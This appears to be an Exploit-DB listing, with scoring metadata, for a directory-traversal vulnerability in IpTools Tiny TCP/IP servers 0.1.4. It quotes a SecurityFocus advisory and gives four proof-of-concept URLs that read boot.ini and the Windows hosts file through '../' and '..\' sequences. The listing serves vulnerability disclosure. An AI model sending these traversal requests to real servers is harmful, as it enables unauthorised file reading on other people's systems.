Lucene search

K
exploitdbDemonalexEDB-ID:36513
HistoryJan 06, 2012 - 12:00 a.m.

IpTools 0.1.4 - Tiny TCP/IP servers Directory Traversal

2012-01-0600:00:00
demonalex
www.exploit-db.com
19

AI Score

7.4

Confidence

Low

EPSS

0.01

Percentile

84.1%

source: https://www.securityfocus.com/bid/51311/info

IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.

http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts 

AI Score

7.4

Confidence

Low

EPSS

0.01

Percentile

84.1%

Related for EDB-ID:36513